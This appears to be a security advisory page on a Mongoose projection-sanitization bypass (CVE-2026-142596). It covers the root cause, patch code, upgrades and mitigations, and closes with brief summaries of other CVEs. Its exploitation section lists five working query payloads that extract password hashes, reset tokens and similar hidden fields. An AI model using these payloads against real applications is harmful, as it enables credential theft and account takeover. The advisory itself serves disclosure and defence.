Dec 4, 2026·10 min read·3 visits
Mongoose versions 8.5.0–8.24.9 and 9.0.0–9.12.1 allow remote attackers to bypass `sanitizeProjection` and schema-level `select: false` field exclusions via crafted projection operators, nested exclusions, parent path selections, and prototype overrides, resulting in unauthorized disclosure of sensitive database fields.
A projection sanitization and schema path exclusion bypass vulnerability exists in Mongoose versions 8.5.0 through 8.24.9 and 9.0.0 through 9.12.1. Due to insufficient validation of MongoDB projection syntax in `sanitizeProjection` and `applyPaths`, attackers supplying untrusted projection inputs to queries can force the retrieval of sensitive schema fields configured with `select: false`, such as password hashes, reset tokens, and multi-factor authentication secrets.
Mongoose is an Object Document Mapper (ODM) for Node.js and MongoDB maintained by Automattic. A fundamental security feature of Mongoose schema definitions is the select: false path property, which instructs the query builder to automatically exclude specific fields from query results unless explicitly overridden by application code. Developers rely on this mechanism to prevent sensitive fields—such as password hashes, API keys, password reset tokens, and multi-factor authentication recovery codes—from being returned in standard database queries.
In Mongoose 8.5.0, the sanitizeProjection option was introduced to safely handle untrusted, user-supplied query projections (for example, when exposing field selection via REST query parameters or GraphQL-style endpoints). When enabled globally or per-query, sanitizeProjection is intended to strip expressions and prevent user input from overriding schema-level select: false protections.
Classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), CVE-2026-142596 (GHSA-xfcm-rmv3-crmq) encompasses multiple distinct bypass vectors in lib/helpers/query/sanitizeProjection.js, lib/query.js, and lib/queryHelpers.js. Attackers who control the projection argument passed to .select(), .find(filter, projection), or query options can bypass sanitizeProjection using MongoDB aggregation expressions, array projections, $meta operators, positional array operators, parent path inclusions, +path modifiers, and __proto__ properties.
Furthermore, the vulnerability affects queries that do not explicitly use sanitizeProjection. Flaws in how applyPaths classifies nested exclusion objects, $elemMatch projections, and discriminator filter queries cause Mongoose to misidentify exclusive projections as inclusive, resulting in the omission of schema-level select: false rules and the unintentional exposure of sensitive fields.
The root cause of CVE-2026-142596 stems from a semantic mismatch between Mongoose's simple key-based projection parser and the full expression capabilities of the underlying MongoDB projection engine. In MongoDB, projections are not limited to binary field inclusions (1) or exclusions (0); since MongoDB 4.4, projections can contain aggregation expressions, field path references prefixed with $, $slice array operators with expression targets, and $meta operators.
In lib/helpers/query/sanitizeProjection.js, the original sanitization routine iterated over the top-level keys of the projection object and only converted values to 1 if typeof projection[keys[i]] === 'string'. It performed no inspection when the projection value was an object or an array. Consequently, passing an object containing a MongoDB aggregation expression such as { name: { $concat: ['$password'] } } or an array expression like { name: ['$password'] } passed through sanitizeProjection untouched. When MongoDB executed the query, it resolved the $password field reference prior to returning the projected document, embedding the value of the select: false path inside the public name field.
In lib/queryHelpers.js, the applyPaths function failed to account for hierarchical path relationships and forced inclusion syntax when sanitizeProjection was active. Specifically, prefixing a path with + (e.g., +password) or -+ (e.g., -+password, which collapsed into +password after minus-path processing) explicitly disabled schema-level exclusions even when sanitizeProjection was enabled. In addition, selecting a parent object path (such as profile) or a positional array element (such as comments.$) instructed MongoDB to return the entire subdocument or array item, bypassing select: false settings configured on nested child paths like profile.ssn or comments.secret.
Additional state corruption flaws existed in lib/query.js. In Query.prototype.select(), parsing an object containing an own __proto__ property (such as JSON.parse('{"__proto__":{"password":0}}')) caused this._fields['__proto__'] to be assigned directly, mutating the prototype of the internal _fields dictionary and disrupting subsequent path exclusion checks. Finally, when querying a base model using a discriminator key in the filter (e.g., { __t: 'Admin' }), _applyPaths always inspected this.model.schema rather than resolving the target discriminator schema, omitting any select: false fields defined exclusively on the sub-type.
The remediation across commits c369da407ee8bea907bb5af7bb94ce5deeb3e0e4 (8.x) and c5483b71438ececde3a272feef65e14666614093 (9.x) restructures projection sanitization and schema path application across three core files. First, lib/helpers/query/sanitizeProjection.js was modified to enforce a strict allowlist on object-type projection values:
// lib/helpers/query/sanitizeProjection.js
module.exports = function sanitizeProjection(projection) {
if (projection == null) {
return;
}
const keys = Object.keys(projection);
for (let i = 0; i < keys.length; ++i) {
const value = projection[keys[i]];
if (typeof value === 'string') {
projection[keys[i]] = 1;
continue;
}
if (value == null || typeof value !== 'object') {
continue;
}
// Strict allowlist: only permit $meta: 'textScore', $elemMatch, and numeric $slice.
// Blocks aggregation expressions ($concat, $toUpper), array expressions, $slice with
// field references, and $meta: 'indexKey' / 'sortKey'.
const slice = value.$slice;
const isAllowedProjectionOperator = value.$meta === 'textScore' ||
value.$elemMatch != null ||
typeof slice === 'number' ||
(Array.isArray(slice) && slice.every(v => typeof v === 'number'));
if (!isAllowedProjectionOperator) {
projection[keys[i]] = 1;
}
}
};Second, lib/query.js was updated in Query.prototype.select() and Query.prototype._applyPaths() to strip own __proto__ properties, execute sanitizeProjection even when schemaLevelProjections is disabled, and resolve discriminator schemas when a discriminatorKey is present in the query conditions:
// lib/query.js - Inside Query.prototype.select()
arg = parseProjection(arg, true);
if (utils.isObject(arg)) {
// Prevent prototype reassignment on internal this._fields object
if (Object.hasOwn(arg, '__proto__')) {
arg = { ...arg };
delete arg['__proto__'];
}
// ...
}
// lib/query.js - Inside Query.prototype._applyPaths()
if (shouldSanitizeProjection) {
sanitizeProjection(this._fields);
}
const schemaLevelProjections = this._mongooseOptions.schemaLevelProjections ?? true;
if (schemaLevelProjections) {
let schema = this.model.schema;
const discriminatorKey = schema.options.discriminatorKey;
// Resolve discriminator schema if filter specifies the discriminatorKey
if (this._conditions != null && Object.hasOwn(this._conditions, discriminatorKey)) {
schema = getDiscriminatorByValue(this.model.discriminators, this._conditions[discriminatorKey])?.schema ?? schema;
}
helpers.applyPaths(this._fields, schema, shouldSanitizeProjection);
}Third, lib/queryHelpers.js was heavily updated inside applyPaths to strip + and -+ keys when sanitizeProjection is enabled, accurately determine whether nested plain old JavaScript object (POJO) sub-projections are inclusive or exclusive, and strip parent or positional inclusions that overlap with select: false paths:
// lib/queryHelpers.js - Inside exports.applyPaths()
if (sanitizeProjection) {
for (const key of Object.keys(fields)) {
if (key[0] === '+' || key.startsWith('-+')) {
delete fields[key];
}
}
}
// Helper added to strip parent paths (e.g., 'profile' when 'profile.ssn' is select: false)
// and positional projections (e.g., 'comments.$' when 'comments.secret' is select: false)
function removeInclusions(path) {
for (const key of Object.keys(fields)) {
if (isDefiningProjection(fields[key]) && !fields[key]) {
continue;
}
const keyPath = key.endsWith('.$') ? key.slice(0, -2) : key;
if (keyPath === path || keyPath.startsWith(path + '.') || path.startsWith(keyPath + '.')) {
delete fields[key];
}
}
}The patch also addresses edge cases in projection type casting (_castFields) and cursor execution (QueryCursor), ensuring that invalid projection structures (such as malformed $elemMatch filters) cleanly reject the promise or emit an error event rather than throwing unhandled synchronous exceptions or leaving the query state inconsistent. The fix is comprehensive because it transitions sanitizeProjection from a narrow denylist of string values to a strict allowlist of safe projection operators while reconciling Mongoose's internal path tree with MongoDB's hierarchical projection rules.
Exploitation requires an application endpoint that accepts user-controlled input (such as a parsed JSON body or query string object via qs) and passes it to Mongoose's projection APIs—specifically Query.prototype.select(), the second argument of Model.find(filter, projection) / Model.findOne(filter, projection), or the projection option in Query.prototype.setOptions().
Consider a target application using the following schema definition where sensitive authentication and personal fields are marked select: false:
const UserSchema = new mongoose.Schema({
name: String,
password: { type: String, select: false },
resetToken: { type: String, select: false },
recoveryCodes: { type: [String], select: false },
profile: {
bio: String,
ssn: { type: String, select: false }
},
comments: [{
text: String,
secret: { type: String, select: false }
}]
});
const User = mongoose.model('User', UserSchema);An attacker can exploit the vulnerable projection sanitization through multiple distinct payloads, even when .sanitizeProjection(true) is explicitly enforced by the developer:
// Vector 1: Aggregation Expression Exfiltration ($concat / array wrapping)
// Evaluates $password and $resetToken on the MongoDB server and returns them inside 'name'
await User.findOne().sanitizeProjection(true).select({
name: { $concat: ['$password', ':', '$resetToken'] }
});
// Vector 2: Array Slice Expression Exfiltration ($slice)
// Uses the aggregation form of $slice to read from the excluded $recoveryCodes array
await User.findOne().sanitizeProjection(true).select({
name: { $slice: ['$recoveryCodes', 5] }
});
// Vector 3: Forced Inclusion via Minus-Plus Collapse (-+path)
// Collapses to '+password' after minus-path parsing, bypassing select: false
await User.findOne().sanitizeProjection(true).select('-+password');
// Vector 4: Parent Path & Positional Array Inclusion
// Requesting the parent 'profile' or positional 'comments.$' returns all child properties
await User.findOne({ 'comments.text': 'hello' })
.sanitizeProjection(true)
.select({ profile: 1, 'comments.$': 1 });
// Vector 5: Prototype Override via Own '__proto__' Key
// Disrupts internal field dictionary prototype, dropping select: false exclusions
const payload = JSON.parse('{"__proto__":{"password":0}}');
await User.findOne().sanitizeProjection(true).select(payload);> [!NOTE]
> Even if an application does not accept full JSON objects for projections and only accepts space-delimited strings (e.g., ?fields=name+profile), attackers can still exploit Vector 3 (+password or -+password) and Vector 4 (requesting a parent path like profile to expose profile.ssn) on unpatched versions.
CVE-2026-142596 carries a CVSS v3.1 base score of 7.5 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. The vulnerability is remotely exploitable over the network (AV:N) with low attack complexity (AC:L), requiring no privileges (PR:N) or user interaction (UI:N) when an unauthenticated API endpoint exposes field selection.
The primary security impact is high confidentiality loss (C:H). In typical Mongoose applications, single-collection schemas store both public profile attributes and internal security credentials within the same MongoDB document, relying entirely on { select: false } to enforce data separation at the ODM layer. By bypassing sanitizeProjection or triggering the applyPaths exclusion omission bugs, an attacker can retrieve password hashes (enabling offline cracking), active session or password reset tokens (enabling immediate account takeover), MFA secrets, and personally identifiable information (PII) such as Social Security Numbers.
The vulnerability does not allow direct modification of database records (I:N). While standard exploitation does not degrade database availability (A:N), malformed projection operators prior to the patch could trigger unhandled synchronous exceptions during cursor creation (QueryCursor) if the calling application did not wrap cursor initialization in a try/catch block.
As of current threat intelligence telemetry, CVE-2026-142596 has an EPSS score of 0.00685 (54th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, complete reproduction payloads are publicly documented in the official Mongoose test suite (test/query.sanitizeProjection.test.js).
Automattic has patched CVE-2026-142596 in Mongoose versions 8.24.10 (for the 8.x release line) and 9.12.2 (for the 9.x release line). Organizations using Mongoose should upgrade to the patched release corresponding to their major version branch.
# Upgrade Mongoose 8.x installations
npm install mongoose@8.24.10
# Upgrade Mongoose 9.x installations
npm install mongoose@9.12.2For environments where an immediate dependency upgrade cannot be deployed, developers must prevent raw user input from reaching .select(), Model.find(filter, projection), or query options. Implement strict application-layer allowlisting that validates requested projection fields against a static set of public scalar field names before passing the projection to Mongoose:
const ALLOWED_PUBLIC_FIELDS = new Set(['name', 'email', 'bio', 'createdAt']);
function buildSafeProjection(rawFieldsInput) {
const safeProjection = Object.create(null);
if (typeof rawFieldsInput !== 'string') {
return safeProjection;
}
const requestedFields = rawFieldsInput.split(/[\s,]+/).filter(Boolean);
for (const field of requestedFields) {
if (ALLOWED_PUBLIC_FIELDS.has(field)) {
safeProjection[field] = 1;
}
}
return safeProjection;
}> [!IMPORTANT]
> When constructing projection allowlists or using schema-level exclusions, never include parent subdocument paths (e.g., profile) in the allowlist if any child path within that subdocument (e.g., profile.ssn) contains sensitive data. Always project leaf paths explicitly (e.g., profile.bio). Additionally, ensure that query filter parsing strips or validates the schema's discriminatorKey (__t by default) when querying base models.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
mongoose Automattic | >= 8.5.0, < 8.24.10 | 8.24.10 |
mongoose Automattic | >= 9.0.0, < 9.12.2 | 9.12.2 |
| Attribute | Detail |
|---|---|
| CVE / GHSA ID | CVE-2026-142596 / GHSA-xfcm-rmv3-crmq |
| Weakness Class | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |
| CVSS v3.1 Score | 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| Attack Vector | Network (Crafted MongoDB Query Projections) |
| Primary Impact | Disclosure of schema fields marked select: false (passwords, tokens, PII) |
| EPSS Score | 0.69% (54th Percentile) |
| Exploit Status | Proof-of-Concept (Regression tests in official commit) |
| Patched Versions | Mongoose 8.24.10 and 9.12.2 |
An intentional or accidental design flaw or implementation bug allows an application to expose sensitive data to an actor that is not explicitly authorized to view that data.
CVE-2026-142595 is a NoSQL query operator injection vulnerability in Automattic Mongoose caused by an incomplete denylist in the sanitizeFilter query sanitization utility. Prior to the patched versions, sanitizeFilter blocked only four specific top-level operators ($jsonSchema, $where, $expr, and $text), allowing unrecognized or internal MongoDB operators such as $_internalSchemaXor and $_internalSchemaCond to pass through unsanitized. Attackers capable of supplying top-level filter keys can inject arbitrary nested query selectors to bypass authentication, extract sensitive data via boolean inference, or modify database records.
CVE-2026-142610 (GHSA-c25c-x5r7-2v5m) is an allocation of resources without limits or throttling vulnerability (CWE-770) in the Laravel Framework (`laravel/framework`). The flaw exists in how Laravel passes user-supplied numeric strings to the `brick/math` arbitrary-precision arithmetic library during specific validation rules (`multiple_of`, `gt`, `gte`, `lt`, `lte`) and Eloquent model decimal casting (`decimal:X`). When an unauthenticated remote attacker supplies a numeric string formatted in scientific notation with a large positive or negative exponent (e.g., `1e-100000000`), `Brick\Math\BigDecimal` and `Brick\Math\BigNumber` attempt to expand the full numeric representation in memory. This operation immediately exhausts the PHP process memory limit and causes high CPU utilization, terminating worker threads and resulting in an application-layer Denial of Service (DoS). The vulnerability is remediated in Laravel versions 12.74.0 and 13.44.1.
CVE-2026-137198 is a high-severity argument injection vulnerability (CWE-88) affecting the Node.js cross-spawn library in versions 6.0.6 and 7.0.4 through 7.0.6. On Windows systems, when commands are routed through cmd.exe (including batch files and npm cmd-shims in node_modules/.bin), cross-spawn fails to properly double contiguous sequences of two or more backslashes preceding a double quote or at the end of an argument. This parsing failure causes the argument's closing quotation mark to be escaped as a literal character, allowing attacker-controlled input to break out of quotation encapsulation and inject arbitrary command-line arguments or consume subsequent arguments.
DOMPurify prior to version 3.5.0 contains a sanitization bypass in the SAFE_FOR_TEMPLATES configuration mode. By embedding split template expression delimiters across invalid nested <form> elements, an attacker can evade character data scrubbing during initial sanitization. When the sanitized markup is subsequently re-parsed into the DOM via innerHTML, browser HTML5 parsing rules strip the nested <form> tags and concatenate the split text nodes, reconstructing executable template expressions that trigger Cross-Site Scripting (XSS) in client-side template engines.
CVE-2026-74870 is an information exposure vulnerability in the Python package openssl_encrypt affecting versions 1.4.7 and earlier. The diagnostic CLI subcommands 'hsm fido2-test' and 'hsm onlykey-test' unconditionally write full derived hardware cryptographic peppers as hexadecimal strings to standard error. Additionally, the FIDO2 hardware pepper plugin logs unredacted pseudo-random function (PRF) output to debug logs and user-facing error messages. While the diagnostic pepper is bound to a random per-invocation test salt and cannot directly decrypt stored files, the behavior exposes raw hardware-derived key material to terminal scrollbacks, session recordings, and CI/CD logs.
A validation logic bypass vulnerability exists in the Laravel Framework validation subsystem prior to versions 12.72.0 and 13.43.0. When validating nested attributes or wildcard arrays using the 'sometimes' rule, the framework uses the literal string '__missing__' as an in-band sentinel value to detect absent keys. An attacker who submits the literal string '__missing__' as the value for a nested attribute causes the validator to misinterpret the field as omitted, bypassing all subsequent validation rules while still returning the unvalidated string in the validated dataset.